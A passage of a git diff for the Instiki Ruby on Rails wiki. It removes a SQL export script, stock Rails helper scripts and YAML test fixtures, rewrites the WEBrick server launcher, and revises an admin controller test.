-# substitute an extremely expensive method with something cheap.
-class Revision
-  alias :__display_content :display_content
-  def display_content
-    return self
-  end
-end
-
-class Time
-  def ansi
-    strftime('%Y-%m-%d %H:%M:%S')
-  end
-end
-
-def sql_insert(table, hash)
-  columns = hash.keys
-
-  values = columns.map { |column| hash[column] }
-  values = values.map do |value|
-    if value.nil?
-      'NULL'
-    else
-      if (value == false or value == true) and OPTIONS[:database] == 'mysql'
-        value = value ? '1' : '0'
-      end
-      
-      case OPTIONS[:database]
-      when 'mysql', 'postgres'
-        value = value.to_s.gsub("'", "\\\\'")
-      when 'sqlite'
-        value = value.to_s.gsub("'", "''")
-      else 
-        raise "Unsupported database option #{OPTIONS[:database]}"
-      end
-      "'#{value.gsub("\r\n", "\n")}'"
-    end
-  end
-  
-  output = "INSERT INTO #{table} ("
-  output << columns.join(", ")
-
-  output << ") VALUES ("
-  output << values.join(", ")
-  output << ");"
-  output
-end
-
-def delete_all(outfile)
-  %w(wiki_references revisions pages system webs).each { |table| outfile.puts "DELETE FROM #{table};" }
-end
-
-def next_id(key)
-  $ids ||= {}
-  if $ids[key].nil?
-    $ids[key] = 1
-  else
-    $ids[key] = $ids[key] + 1
-  end
-  $ids[key]
-end
-
-def current_id(key)
-  $ids[key] or raise "No curent ID for #{key.inspect}"
-end
-
-WikiService.storage_path = OPTIONS[:storage]
-wiki = WikiService.instance
-
-File.open(OPTIONS[:outfile], 'w') { |outfile|
-
-  outfile.puts "BEGIN;"
-  delete_all(outfile)
-  outfile.puts "COMMIT;"
-
-  wiki.webs.each_pair do |web_name, web|
-    outfile.puts "BEGIN;"
-    outfile.puts sql_insert(:webs, {
-      :id               => next_id(:web),
-      :name             => web.name,
-      :address          => web.address,
-      :password         => web.password,
-      :additional_style => web.additional_style,
-      :allow_uploads    => web.allow_uploads,
-      :published        => web.published,
-      :count_pages      => web.count_pages,
-      :markup           => web.markup,
-      :color            => web.color,
-      :max_upload_size  => web.max_upload_size,
-      :safe_mode        => web.safe_mode,
-      :brackets_only    => web.brackets_only,
-      :created_at       => web.pages.values.map { |p| p.revisions.first.created_at }.min.ansi,
-      :updated_at       => web.pages.values.map { |p| p.revisions.last.created_at }.max.ansi
-    })
-    outfile.puts "COMMIT;"
-    
-    puts "Web #{web_name} has #{web.pages.keys.size} pages"
-    web.pages.each_pair do |page_name, page|
-
-      outfile.puts "BEGIN;"
-
-      outfile.puts sql_insert(:pages, {
-        :id         => next_id(:page),
-        :web_id     => current_id(:web),
-        :locked_by  => page.locked_by,
-        :name       => page.name,
-        :created_at => page.revisions.first.created_at.ansi,
-        :updated_at => page.revisions.last.created_at.ansi
-      })
-
-      puts "  Page #{page_name} has #{page.revisions.size} revisions"
-      page.revisions.each_with_index do |rev, i|
-      
-        outfile.puts sql_insert(:revisions, {
-          :id         => next_id(:revision),
-          :page_id    => current_id(:page),
-          :content    => rev.content,
-          :author     => rev.author.to_s,
-          :ip         => (rev.author.is_a?(Author) ? rev.author.ip : 'N/A'),
-          :created_at => rev.created_at.ansi,
-          :updated_at => rev.created_at.ansi,
-          :revised_at => rev.created_at.ansi
-        })
-        puts "    Revision #{i} created at #{rev.created_at.ansi}"
-      end
-
-      outfile.puts "COMMIT;"
-
-    end
-  end
-}
diff --git a/script/performance/benchmarker b/script/performance/benchmarker
deleted file mode 100755
index c842d35d..00000000
--- a/script/performance/benchmarker
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/performance/benchmarker'
diff --git a/script/performance/profiler b/script/performance/profiler
deleted file mode 100755
index d855ac8b..00000000
--- a/script/performance/profiler
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/performance/profiler'
diff --git a/script/performance/request b/script/performance/request
deleted file mode 100755
index ae3f38c7..00000000
--- a/script/performance/request
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/performance/request'
diff --git a/script/plugin b/script/plugin
deleted file mode 100755
index 26ca64c0..00000000
--- a/script/plugin
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
-require 'commands/plugin'
\ No newline at end of file
diff --git a/script/process/inspector b/script/process/inspector
deleted file mode 100755
index bf25ad86..00000000
--- a/script/process/inspector
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/process/inspector'
diff --git a/script/process/reaper b/script/process/reaper
deleted file mode 100755
index c77f0453..00000000
--- a/script/process/reaper
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/process/reaper'
diff --git a/script/process/spawner b/script/process/spawner
deleted file mode 100755
index 7118f398..00000000
--- a/script/process/spawner
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/process/spawner'
diff --git a/script/profiler b/script/profiler
deleted file mode 100755
index 77c9fbef..00000000
--- a/script/profiler
+++ /dev/null
@@ -1,34 +0,0 @@
-#!/usr/bin/env ruby
-if ARGV.empty?
-  $stderr.puts "Usage: profiler 'Person.expensive_method(10)' [times]"
-  exit(1)
-end
-
-# Keep the expensive require out of the profile.
-$stderr.puts 'Loading Rails...'
-require File.dirname(__FILE__) + '/../config/environment'
-
-# Define a method to profile.
-if ARGV[1] and ARGV[1].to_i > 1
-  eval "def profile_me() #{ARGV[1]}.times { #{ARGV[0]} } end"
-else
-  eval "def profile_me() #{ARGV[0]} end"
-end
-
-# Use the ruby-prof extension if available.  Fall back to stdlib profiler.
-begin
-  require 'prof'
-  $stderr.puts 'Using the ruby-prof extension.'
-  Prof.clock_mode = Prof::GETTIMEOFDAY
-  Prof.start
-  profile_me
-  results = Prof.stop
-  require 'rubyprof_ext'
-  Prof.print_profile(results, $stderr)
-rescue LoadError
-  $stderr.puts 'Using the standard Ruby profiler.'
-  Profiler__.start_profile
-  profile_me
-  Profiler__.stop_profile
-  Profiler__.print_profile($stderr)
-end
diff --git a/script/reset_references b/script/reset_references
deleted file mode 100755
index dd9ffb4a..00000000
--- a/script/reset_references
+++ /dev/null
@@ -1,28 +0,0 @@
-#!/usr/bin/env ruby
-
-ENV['RAILS_ENV'] = ARGV.first || 'development'
-
-$stderr.puts "Loading Rails for #{ENV['RAILS_ENV']} environment..."
-require File.dirname(__FILE__) + '/../config/environment'
-
-class StubUrlGenerator
-  def make_link(*args)
-    'StubLink'
-  end
-end
-
-PageRenderer.setup_url_generator(StubUrlGenerator.new)
-WikiReference.delete_all
-
-Web.find_all.each do |web|
-  web.pages.find(:all, :order => 'name').each do |page|
-    $stderr.puts "Processing page '#{page.name}'"
-    begin
-      PageRenderer.new(page.current_revision).display_content(update_references = true)
-    rescue => e
-      puts e
-      puts e.backtrace
-    end
-  end
-end
-
diff --git a/script/runner b/script/runner
deleted file mode 100755
index 9c8bbb13..00000000
--- a/script/runner
+++ /dev/null
@@ -1,29 +0,0 @@
-#!/usr/bin/env ruby
-require 'optparse'
-
-options = { :environment => "development" }
-
-ARGV.options do |opts|
-  script_name = File.basename($0)
-  opts.banner = "Usage: runner 'puts Person.find(1).name' [options]"
-
-  opts.separator ""
-
-  opts.on("-e", "--environment=name", String,
-          "Specifies the environment for the runner to operate under (test/development/production).",
-          "Default: development") { |options[:environment]| }
-
-  opts.separator ""
-
-  opts.on("-h", "--help",
-          "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-ENV["RAILS_ENV"] = options[:environment]
-
-#!/usr/bin/env ruby
-
-require File.dirname(__FILE__) + '/../config/environment'
-eval(ARGV.first)
\ No newline at end of file
diff --git a/script/server b/script/server
index d580f6f5..0da05085 100755
--- a/script/server
+++ b/script/server
@@ -1,122 +1,93 @@
-#!/usr/bin/env ruby
+#!/usr/bin/ruby
 
-require File.join(File.dirname(File.dirname(__FILE__)), 'config', 'boot')
-# Don't do this. Instead, put it here, where we can customize it.
-#require 'commands/server'
-
-require 'active_support'
-require 'action_controller'
-
-require 'fileutils'
+require 'webrick'
 require 'optparse'
+require 'fileutils'
 
-# TODO: Push Thin adapter upstream so we don't need worry about requiring it
-begin
-  require_library_or_gem 'thin'
-rescue Exception
-  # Thin not available
-end
+pwd = File.expand_path(File.dirname(__FILE__) + "/..")
 
-options = {
-  :Port        => 2500,
-  :Host        => "0.0.0.0",
-  :environment => (ENV['RAILS_ENV'] || "production").dup,
-  :config      => Rails.root.join('config.ru'),
-  :detach      => false,
-  :debugger    => false
+OPTIONS = {
+  # Overridable options
+  :port        => 2500,
+  :ip          => '0.0.0.0',
+  :environment => 'production',
+  :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'),
+  :server_type => WEBrick::SimpleServer,
+  :storage     => "#{File.expand_path(FileUtils.pwd)}/storage",
 }
 
-ARGV.clone.options do |opts|
-  opts.on("-p", "--port=port", Integer,
-          "Runs Instiki on the specified port.", "Default: 2500") { |v| options[:Port] = v }
-  opts.on("-b", "--binding=ip", String,
-          "Binds Instiki to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v }
-  opts.on("-c", "--config=file", String,
-          "Use custom rackup configuration file") { |v| options[:config] = v }
-  opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:detach] = true }
-  opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { options[:debugger] = true }
-  opts.on("-e", "--environment=name", String,
-          "Specifies the environment to run this server under (test/development/production).",
-          "Default: production") { |v| options[:environment] = v }
-  opts.on("-P", "--path=/path", String, "Runs Instiki mounted at a specific path.", "Default: /") { |v| options[:path] = v }
+ARGV.options do |opts|
+  script_name = File.basename($0)
+  opts.banner = "Usage: ruby #{script_name} [options]"
 
-  opts.separator ""
+  opts.separator ''
 
-  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+  opts.on('-p', '--port=port', Integer,
+          'Runs Instiki on the specified port.',
+          'Default: 2500') { |OPTIONS[:port]| }
+  opts.on('-b', '--binding=ip', String,
+          'Binds Rails to the specified ip.',
+          'Default: 0.0.0.0') { |OPTIONS[:ip]| }
+  opts.on('-e', '--environment=name', String,
+          'Specifies the environment to run this server under (test/development/production).',
+          'Default: production') { |OPTIONS[:environment]| }
+  opts.on('-d', '--daemon',
+          'Make Instiki run as a Daemon (only works if fork is available -- meaning on *nix).'
+          ) { OPTIONS[:server_type] = WEBrick::Daemon }
+  opts.on('-s', '--simple', '--simple-server',
+          '[deprecated] Forces Instiki not to run as a Daemon if fork is available.',
+          'Since version 0.10.0 this option is ignored.'
+          ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." }
+  opts.on('-t', '--storage=storage', String,
+          'Makes Instiki use the specified directory for storage.',
+          'Default: ./storage/[port]') { |OPTIONS[:storage]| }
+  opts.on('-x', '--notex',
+          'Blocks wiki exports to TeX and PDF, even when pdflatex is available.'
+          ) { |OPTIONS[:notex]| }
+  opts.on('-v', '--verbose', 
+          'Enables debug-level logging'
+          ) { OPTIONS[:verbose] = true }
+
+  opts.separator ''
+
+  opts.on('-h', '--help',
+          'Show this help message.') { puts opts; exit }
 
   opts.parse!
 end
 
-begin
-  server = Rack::Handler.get(ARGV.first)
-rescue Exception
+if OPTIONS[:environment] == 'production'
+  storage_path = "#{OPTIONS[:storage]}/#{OPTIONS[:port]}"
+else
+  storage_path = "#{OPTIONS[:storage]}/#{OPTIONS[:environment]}/#{OPTIONS[:port]}"
 end
-unless server
+FileUtils.mkdir_p(storage_path)
+
+ENV['RAILS_ENV'] = OPTIONS[:environment]
+$instiki_debug_logging = OPTIONS[:verbose]
+require File.expand_path(File.dirname(__FILE__) + '/../config/environment')
+WikiService.storage_path = storage_path
+
+if OPTIONS[:notex]
+  OPTIONS[:pdflatex] = false
+else
   begin
-    server = Rack::Handler::Mongrel
-  rescue LoadError => e
-    server = Rack::Handler::WEBrick
+    OPTIONS[:pdflatex] = system "pdflatex -version"
+  rescue Errno::ENOENT
+    OPTIONS[:pdflatex] = false
   end
 end
 
-puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
-puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}#{options[:path]}"
-
-%w(cache pids sessions sockets).each do |dir_to_make|
-  FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make))
-end
-
-if options[:detach]
-  Process.daemon
-  pid = Rails.root.join('tmp', 'pids', 'server.pid')
-  File.open(pid, 'w'){ |f| f.write(Process.pid) }
-  at_exit { File.delete(pid) if File.exist?(pid) }
-end
-
-ENV["RAILS_ENV"] = options[:environment]
-RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV)
-
-if File.exist?(options[:config])
-  config = options[:config]
-  if config =~ /\.ru$/
-    cfgfile = File.read(config)
-    if cfgfile[/^#\\(.*)/]
-      opts.parse!($1.split(/\s+/))
-    end
-    inner_app = eval("Rack::Builder.new {( " + cfgfile + "\n )}.to_app", nil, config)
-  else
-    require config
-    inner_app = Object.const_get(File.basename(config, '.rb').capitalize)
-  end
+if  defined? INSTIKI_BATCH_JOB
+  require 'application'
 else
-  require Rails.root.join('config', 'environment')
-  inner_app = ActionController::Dispatcher.new
-end
-
-if options[:path].nil?
-  map_path = "/"
-else
-  ActionController::Base.relative_url_root = options[:path]
-  map_path = options[:path]
-end
-
-app = Rack::Builder.new {
-  use Rails::Rack::LogTailer unless options[:detach]
-  use Rails::Rack::Debugger if options[:debugger]
-  map map_path do
-    use Rails::Rack::Static 
-    run inner_app
-  end
-}.to_app
-
-puts "=> Call with -d to detach"
-
-trap(:INT) { exit }
-
-puts "=> Ctrl-C to shutdown server"
-
-begin
-  server.run(app, options.merge(:AccessLog => []))
-ensure
-  puts 'Exiting'
+  puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}"
+  puts "=> Data files are stored in #{storage_path}"
+
+  require 'webrick_server'
+  require_dependency 'application'
+
+  OPTIONS[:index_controller] = 'wiki'
+  ApplicationController.wiki = WikiService.instance
+  DispatchServlet.dispatch(OPTIONS)
 end
diff --git a/storage/.gitignore b/storage/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/test/all_tests.rb b/test/all_tests.rb
new file mode 100755
index 00000000..023ee389
--- /dev/null
+++ b/test/all_tests.rb
@@ -0,0 +1,9 @@
+require 'test_helper'
+require 'find'
+
+test_root = File.dirname(__FILE__)
+Find.find(test_root) { |path| 
+  if File.file?(path) and path =~ /.*_test\.rb$/
+    load path
+  end
+}
diff --git a/test/fixtures/exported_markup.zip b/test/fixtures/exported_markup.zip
deleted file mode 100644
index 565834b0..00000000
Binary files a/test/fixtures/exported_markup.zip and /dev/null differ
diff --git a/test/fixtures/pages.yml b/test/fixtures/pages.yml
deleted file mode 100644
index b7163ef8..00000000
--- a/test/fixtures/pages.yml
+++ /dev/null
@@ -1,69 +0,0 @@
-home_page:
-  id: 1
-  created_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %>
-  updated_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %>
-  web_id: 1
-  name: HomePage
-  
-my_way:
-  id: 2
-  created_at: <%= 9.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 9.days.ago.to_formatted_s(:db) %>
-  web_id: 1
-  name: MyWay
-  
-smart_engine:
-  id: 3
-  created_at: <%= 8.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 8.days.ago.to_formatted_s(:db) %>
-  web_id: 1
-  name: SmartEngine
-  
-that_way:
-  id: 4
-  created_at: <%= 7.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 7.days.ago.to_formatted_s(:db) %>
-  web_id: 1
-  name: ThatWay
-
-no_wiki_word: 
-  id: 5
-  created_at: <%= 6.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 6.days.ago.to_formatted_s(:db) %>
-  web_id: 1
-  name: NoWikiWord
-  
-first_page:
-  id: 6
-  created_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %>
-  updated_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %>
-  web_id: 1
-  name: FirstPage
-  
-oak:
-  id: 7
-  created_at: <%= 5.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 5.days.ago.to_formatted_s(:db) %>
-  web_id: 1
-  name: Oak
-
-elephant:
-  id: 8
-  created_at: <%= 10.minutes.ago.to_formatted_s(:db) %>
-  updated_at: <%= 10.minutes.ago.to_formatted_s(:db) %>
-  web_id: 1
-  name: Elephant
-
-liquor:
-  id: 9
-  created_at: <%= 40.minutes.ago.to_formatted_s(:db) %>
-  updated_at: <%= 40.minutes.ago.to_formatted_s(:db) %>
-  web_id: 1
-  name: liquor
-
-instiki_page:
-  id: 10
-  created_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %>
-  updated_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %>
-  web_id: 2
-  name: HomePage
\ No newline at end of file
diff --git a/test/fixtures/revisions.yml b/test/fixtures/revisions.yml
deleted file mode 100644
index d7533510..00000000
--- a/test/fixtures/revisions.yml
+++ /dev/null
@@ -1,103 +0,0 @@
-home_page_first_revision:
-  id: 1
-  created_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %>
-  updated_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %>
-  revised_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %>
-  page_id: 1
-  content: First revision of the HomePage end
-  author: AnAuthor
-  ip: 127.0.0.1
-  
-my_way_first_revision:
-  id: 2
-  created_at: <%= 9.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 9.days.ago.to_formatted_s(:db) %>
-  revised_at: <%= 9.days.ago.to_formatted_s(:db) %>
-  page_id: 2
-  content: MyWay
-  author: Me
-
-smart_engine_first_revision:
-  id: 3
-  created_at: <%= 8.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 8.days.ago.to_formatted_s(:db) %>
-  revised_at: <%= 8.days.ago.to_formatted_s(:db) %>
-  page_id: 3
-  content: SmartEngine
-  author: Me
-
-that_way_first_revision:
-  id: 4
-  created_at: <%= 7.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 7.days.ago.to_formatted_s(:db) %>
-  revised_at: <%= 7.days.ago.to_formatted_s(:db) %>
-  page_id: 4
-  content: ThatWay
-  author: Me
-
-no_wiki_word_first_revision:
-  id: 5
-  created_at: <%= 6.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 6.days.ago.to_formatted_s(:db) %>
-  revised_at: <%= 6.days.ago.to_formatted_s(:db) %>
-  page_id: 5
-  content: hey you
-  author: Me
-  
-home_page_second_revision:
-  id: 6
-  created_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %>
-  updated_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %>
-  revised_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %>
-  page_id: 1
-  content: HisWay would be MyWay $\sin(x)\begin{svg}<svg/>\end{svg}\includegraphics[width=3em]{foo}$ in kinda ThatWay in HisWay though MyWay \OverThere -- see SmartEngine in that SmartEngineGUI
-  author: DavidHeinemeierHansson
-  
-first_page_first_revision:
-  id: 7
-  created_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %>
-  updated_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %>
-  revised_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %>
-  page_id: 6
-  content: HisWay would be MyWay $\sin(x)\begin{svg}<svg/>\end{svg}\includegraphics[width=3em]{foo}$ in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI
-  author: DavidHeinemeierHansson
-  
-oak_first_revision:
-  id: 8
-  created_at: <%= 5.days.ago.to_formatted_s(:db) %>
-  updated_at: <%= 5.days.ago.to_formatted_s(:db) %>
-  revised_at: <%= 5.days.ago.to_formatted_s(:db) %>
-  page_id: 7
-  content: "All about oak.\ncategory: trees"
-  author: TreeHugger
-  ip: 127.0.0.2
-
-elephant_first_revision:
-  id: 9
-  created_at: <%= 10.minutes.ago.to_formatted_s(:db) %>
-  updated_at: <%= 10.minutes.ago.to_formatted_s(:db) %>
-  revised_at: <%= 10.minutes.ago.to_formatted_s(:db) %>
-  page_id: 8
-  content: "All about elephants.\ncategory: animals"
-  author: Guest
-  ip: 127.0.0.2
-
-liquor_first_revision:
-  id: 10
-  created_at: <%= 40.minutes.ago.to_formatted_s(:db) %>
-  updated_at: <%= 40.minutes.ago.to_formatted_s(:db) %>
-  revised_at: <%= 40.minutes.ago.to_formatted_s(:db) %>
-  page_id: 9
-  content: "[[!redirects booze]]\n Drinky-poo.  [[Instiki:HomePage|go there]]"
-  author: Guest
-  ip: 127.0.0.2
-
-instiki_home_page_first_revision:
-  id: 11
-  created_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %>
-  updated_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %>
-  revised_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %>
-  page_id: 10
-  content: First revision of the HomePage end
-  author: AnAuthor
-  ip: 127.0.0.1
diff --git a/test/fixtures/sessions.yml b/test/fixtures/sessions.yml
deleted file mode 100644
index e69de29b..00000000
diff --git a/test/fixtures/system.yml b/test/fixtures/system.yml
deleted file mode 100644
index 1b17f2fc..00000000
--- a/test/fixtures/system.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-system:
-  password: test_password
diff --git a/test/fixtures/webs.yml b/test/fixtures/webs.yml
deleted file mode 100644
index c847d96f..00000000
--- a/test/fixtures/webs.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-test_wiki:
-  id: 1
-  created_at: 2004-08-01
-  updated_at: 2005-08-01
-  name: wiki1
-  address: wiki1
-  markup: markdownMML
-
-instiki:
-  id: 2
-  created_at: 2004-08-01
-  updated_at: 2005-08-01
-  name: Instiki
-  address: instiki
-  markup: markdownMML
diff --git a/test/fixtures/wiki_files.yml b/test/fixtures/wiki_files.yml
deleted file mode 100644
index e69de29b..00000000
diff --git a/test/fixtures/wiki_references.yml b/test/fixtures/wiki_references.yml
deleted file mode 100644
index f740b486..00000000
--- a/test/fixtures/wiki_references.yml
+++ /dev/null
@@ -1,119 +0,0 @@
-my_way_1:
-  id: 1
-  page_id: 2
-  referenced_name: MyWay
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-smart_engine_1:
-  id: 2
-  page_id: 3
-  referenced_name: SmartEngine
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-that_way_1:
-  id: 3
-  page_id: 4
-  referenced_name: ThatWay
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-home_page_1:
-  id: 4
-  page_id: 1
-  referenced_name: HisWay
-  link_type: W
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-home_page_2:
-  id: 5
-  page_id: 1
-  referenced_name: MyWay
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-home_page_3:
-  id: 6
-  page_id: 1
-  referenced_name: ThatWay
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-home_page_4:
-  id: 7
-  page_id: 1
-  referenced_name: SmartEngine
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-first_page_1:
-  id: 8
-  page_id: 6
-  referenced_name: HisWay
-  link_type: W
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-first_page_2:
-  id: 9
-  page_id: 6
-  referenced_name: MyWay
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-first_page_3:
-  id: 10
-  page_id: 6
-  referenced_name: ThatWay
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-first_page_4:
-  id: 11
-  page_id: 6
-  referenced_name: OverThere
-  link_type: W
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-first_page_5:
-  id: 12
-  page_id: 6
-  referenced_name: SmartEngine
-  link_type: L
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-oak_1:
-  id: 13
-  page_id: 7
-  referenced_name: trees
-  link_type: C
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-elephant_1:
-  id: 14
-  page_id: 8
-  referenced_name: animals
-  link_type: C
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
-
-liquor_1:
-  id: 15
-  page_id: 9
-  referenced_name: booze
-  link_type: R
-  created_at: <%= Time.now.to_formatted_s(:db) %>
-  updated_at: <%= Time.now.to_formatted_s(:db) %>
diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb
index 2de3dda7..7aed5c70 100644
--- a/test/functional/admin_controller_test.rb
+++ b/test/functional/admin_controller_test.rb
@@ -1,85 +1,74 @@
-#!/usr/bin/env ruby
+#!/bin/env ruby -w 
 
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
+require File.dirname(__FILE__) + '/../test_helper'
 require 'admin_controller'
 
 # Raise errors beyond the default web-based presentation
 class AdminController; def rescue_action(e) logger.error(e); raise e end; end
 
-class AdminControllerTest < ActionController::TestCase
-  fixtures :webs, :pages, :revisions, :system, :wiki_references
+class AdminControllerTest < Test::Unit::TestCase
 
   def setup
-    require 'action_controller/test_process'
-    @controller = AdminController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    class << @request.session
-      attr_accessor :dbman
-    end
-    # simulate a cookie session store
-    @request.session.dbman = FakeSessionDbMan
-    @wiki = Wiki.new
-    @oak = pages(:oak)
-    @liquor = pages(:liquor)
-    @elephant = pages(:elephant)
-    @web = webs(:test_wiki)
-    @home = @page = pages(:home_page)
-    FileUtils.rm_rf("#{RAILS_ROOT}/webs/renamed_wiki1")
+    setup_test_wiki
+    setup_controller_test
   end
 
+  def tear_down
+    tear_down_wiki
+  end
+
+
   def test_create_system_form_displayed
-    use_blank_wiki
+    ApplicationController.wiki = WikiServiceWithNoPersistence.new
     process('create_system')
-    assert_response :success
+    assert_success
   end
 
   def test_create_system_form_submitted
-    use_blank_wiki
-    assert !@wiki.setup?
+    ApplicationController.wiki = WikiServiceWithNoPersistence.new
+    assert !ApplicationController.wiki.setup?
     
     process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 
         'web_address' => 'my_wiki')
       
     assert_redirected_to :web => 'my_wiki', :controller => 'wiki', :action => 'new', 
         :id => 'HomePage'
-    assert @wiki.setup?
-    assert_equal 'a_password', @wiki.system[:password]
-    assert_equal 1, @wiki.webs.size
-    new_web = @wiki.webs['my_wiki']
+    assert ApplicationController.wiki.setup?
+    assert_equal 'a_password', ApplicationController.wiki.system[:password]
+    assert_equal 1, ApplicationController.wiki.webs.size
+    new_web = ApplicationController.wiki.webs['my_wiki']
     assert_equal 'My Wiki', new_web.name
     assert_equal 'my_wiki', new_web.address
   end
 
   def test_create_system_form_submitted_and_wiki_already_initialized
-    wiki_before = @wiki
-    old_size = @wiki.webs.size
-    assert @wiki.setup?
+    wiki_before = ApplicationController.wiki
+    assert ApplicationController.wiki.setup?
 
     process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 
         'web_address' => 'my_wiki'
 
-    assert_redirected_to :web => @wiki.webs.keys.first, :controller => 'wiki', :action => 'show', :id => 'HomePage'
-    assert_equal wiki_before, @wiki
+    assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage'
+    assert_equal wiki_before, ApplicationController.wiki
     # and no new web should be created either
-    assert_equal old_size, @wiki.webs.size
-    assert(@response.has_flash_object?(:error))
+    assert_equal 1, ApplicationController.wiki.webs.size
+    assert_flash_has :error
   end
 
   def test_create_system_no_form_and_wiki_already_initialized
     assert @wiki.setup?
     process('create_system')
-    assert_redirected_to :web => @wiki.webs.keys.first, :controller => 'wiki', :action => 'show', :id => 'HomePage'
-    assert(@response.has_flash_object?(:error))
+    assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage'
+    assert_flash_has :error
   end
 
 
   def test_create_web
-    @wiki.system.update_attribute(:password, 'pswd')
+    @wiki.system[:password] = 'pswd'
   
     process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2'
     
-    assert_redirected_to :web => 'wiki2', :controller => 'wiki', :action => 'new', :id => 'HomePage'
+    assert_redirected_to :web => 'wiki2', :action => 'new', :id => 'HomePage'
     wiki2 = @wiki.webs['wiki2']
     assert wiki2
     assert_equal 'Wiki Two', wiki2.name
@@ -87,102 +76,75 @@ class AdminControllerTest < ActionController::TestCase
   end
